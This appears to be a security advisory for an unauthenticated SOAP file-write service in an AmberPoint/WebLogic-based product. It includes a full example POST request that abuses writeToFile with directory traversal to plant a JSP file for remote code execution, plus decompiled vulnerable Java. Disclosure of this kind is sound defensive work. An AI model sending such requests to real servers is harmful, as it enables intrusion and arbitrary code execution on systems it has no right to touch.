    vulnerability:
    the mentioned product installs a web service 
    called "FlashTunnelService" which can be reached
    without prior authentication and processes incoming
    SOAP requests.
    
    It can be reached at the following uri:
    http://[host]:7001/btmui/soa/flash_svc/
    
    This soap interface exposes the writeToFile function
    which could allow to write arbitrary files on the target
    server.
    
    Example packet:
    
    POST /btmui/soa/flash_svc/ HTTP/1.1
    Accept-Encoding: gzip,deflate
    Content-Type: text/xml;charset=UTF-8
    SOAPAction: "http://soa.amberpoint.com/writeToFile"
    User-Agent: Jakarta Commons-HttpClient/3.1
    Host: 192.168.0.1:7001
    Content-Length: [length]
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
     <soapenv:Header/>
     <soapenv:Body>
    <int:writeToFileRequest>
     <int:writeToFile handle="..\..\..\..\..\..\..\..\[path]\somefile.jsp">
    <!--Zero or more repetitions:-->
    <typ:text>[code]</typ:text>
    <!--Optional:-->
    <typ:WriteToFileRequestVersion>
     <!--You may enter ANY elements at this point-->
    </typ:WriteToFileRequestVersion>
     </int:writeToFile>
    </int:writeToFileRequest>
     </soapenv:Body>
    </soapenv:Envelope>
    
    the 'handle' property can be used to control the location
    of the newly written file (it suffers of a directory traversal ulnerability).
    File extension can also be controlled.
    File content can be controlled through the 'text' element (note that one
    must convert the code to html entities firstly, the soap interface
    will reconvert it to his original format).
    
    Given this, a remote attacker, could place an arbitrary jsp script
    inside the main web server root path, then execute arbitrary code
    with the privileges of the weblogic installation, usually Administrator
    privileges).
    
    vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl.class
    
    ...
    public IWriteToFileResponse writeToFile(IWriteToFileRequest request)
    throws SOAPFaultException
    {
    WriteToFileResponse wtfr = new WriteToFileResponse();
    String handle = request.getHandle();
    TypedList text = request.getText();
    if(text != null && text.size() > 0)
    {
    File f = getFileFromHandle(handle);
    if(f != null)
    try
    {
    FileOutputStream fos = new FileOutputStream(f);
    OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");
    int i = 0;
    for(int ii = text.size(); i < ii; i++)
    {
    String s = (String)text.get(i);
    osw.write(s);
    osw.write("\n");
    }
    
    osw.close();
    }
    catch(IOException ex)
    {
    logger.log(Level.SEVERE, (new StringBuilder()).append("IOException writing '").append(f.toString()).append("': ").append(ex.getMessage()).toString());
    }
    }
    return wtfr;
